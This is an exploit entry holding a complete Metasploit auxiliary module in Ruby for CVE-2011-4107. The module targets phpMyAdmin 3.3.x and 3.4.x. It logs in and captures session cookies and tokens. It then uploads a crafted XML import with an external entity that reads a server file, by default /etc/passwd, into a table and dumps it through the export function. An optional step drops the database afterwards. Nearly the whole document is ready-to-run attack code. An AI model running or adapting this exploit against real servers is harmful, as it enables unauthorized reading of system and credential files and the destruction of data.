phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection

# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection

# Date: 12-01-2012

# Author: Marco Batista

# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/

# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7

# CVE : CVE-2011-4107

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize

super(

'Name'        => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',

'Version'     => '1.0',

'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).

The attacker must be logged in to MySQL via phpMyAdmin.

Works on Windows and Linux Versions 3.3.X and 3.4.X},

'References'  =>

[

[ 'CVE', '2011-4107' ],

[ 'OSVDB', '76798' ],

[ 'BID', '50497' ],

[ 'URL', 'http://secforce.com/research/'],

],

'Author'      => [ 'Marco Batista' ],

'License'     => MSF_LICENSE

)

register_options(

[

Opt::RPORT(80),

OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),

OptString.new('USER', [ true,  "Username", 'root']),

OptString.new('PASS', [ false,  "Password", 'password']),

OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),

OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),

OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),

OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),

],self.class)

end

def loginprocess

# HTTP GET TO GET SESSION VALUES

getresponse = send_request_cgi({

'uri'     => datastore['APP']+'/index.php',

'method'  => 'GET',

'version' => '1.1',

}, 25)

if (getresponse.nil?)

print_error("no response for #{ip}:#{rport}")

elsif (getresponse.code == 200)

print_status("Received #{getresponse.code} from #{rhost}:#{rport}")

elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)

print_status("Received 302 to #{getresponse.headers['Location']}")

else

print_error("Received #{getresponse.code} from #{rhost}:#{rport}")

end

valuesget = getresponse.headers["Set-Cookie"]

varsget = valuesget.split(" ")

#GETTING THE VARIABLES NEEDED

phpMyAdmin = varsget.grep(/phpMyAdmin/).last

pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last

# END HTTP GET

# LOGIN POST REQUEST TO GET COOKIE VALUE

postresponse = send_request_cgi({

'uri'     => datastore['APP']+'/index.php',

'method'  => 'POST',

'version' => '1.1',

'headers' =>{

'Content-Type' => 'application/x-www-form-urlencoded',

'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"

},

'data'    => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'

}, 25)

if (postresponse["Location"].nil?)

print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")

tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last

else

tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last

end

valuespost = postresponse.headers["Set-Cookie"]

varspost = valuespost.split(" ")

#GETTING THE VARIABLES NEEDED

pmaUser = varspost.grep(/pmaUser-1/).last

pmaPass = varspost.grep(/pmaPass-1/).last

return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue

# END OF LOGIN POST REQUEST

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e

print_error(e.message)

rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e

print_error(e.message)

end

def readfile(cookie,tokenvalue)

#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN

getfiles = send_request_cgi({

'uri'     => datastore['APP']+'/export.php',

'method'  => 'POST',

'version' => '1.1',

'headers' =>{

'Cookie' => cookie

},

'data'    => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'

}, 25)

if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)

print_error("Error reading the file... not enough privilege? login error?")

else

print_status("#{getfiles.body}")

end

end

def dropdatabase(cookie,tokenvalue)

dropdb = send_request_cgi({

'uri'     => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',

'method'  => 'GET',

'version' => '1.1',

'headers' =>{

'Cookie' => cookie

},

}, 25)

print_status("Dropping database: "+datastore['DB'])

end

def run

cookie,tokenvalue = loginprocess()

print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")

craftedXML =  "------WebKitFormBoundary3XPL01T\n"

craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"

craftedXML << tokenvalue+"\n"

craftedXML << "------WebKitFormBoundary3XPL01T\n"

craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"

craftedXML << "server\n"

craftedXML << "------WebKitFormBoundary3XPL01T\n"

craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"

craftedXML << "Content-Type: text/xml\n\n"

craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"

craftedXML << "<!DOCTYPE ficheiro [  \n"

craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"

craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"

craftedXML << "    <pma:structure_schemas>\n"

craftedXML << "        <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"

craftedXML << "            <pma:table name=\""+datastore['TBL']+"\">\n"

craftedXML << "                CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"

craftedXML << "            </pma:table>\n"

craftedXML << "        </pma:database>\n"

craftedXML << "    </pma:structure_schemas>\n"

craftedXML << "    <database name=\""+datastore['DB']+"\">\n"

craftedXML << "        <table name=\""+datastore['TBL']+"\">\n"

craftedXML << "            <column name=\"file\">&conteudo;</column>\n"

craftedXML << "        </table>\n"

craftedXML << "    </database>\n"

craftedXML << "</pma_xml_export>\n\n"

craftedXML << "------WebKitFormBoundary3XPL01T\n"

craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"

craftedXML << "xml\n"

craftedXML << "------WebKitFormBoundary3XPL01T\n"

craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"

craftedXML << ",\n\n"

craftedXML << "------WebKitFormBoundary3XPL01T--"

print_status("Grabbing that #{datastore['FILE']} you want...")

res = send_request_cgi({

'uri'     => datastore['APP']+'/import.php',

'method'  => 'POST',

'version' => '1.1',

'headers' =>{

'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',

'Cookie' => cookie

},

'data'    => craftedXML

}, 25)

readfile(cookie,tokenvalue)

if (datastore['DROP'] == "true")

dropdatabase(cookie,tokenvalue)

else

print_status("Database was not dropped: "+datastore['DB'])

end

end

end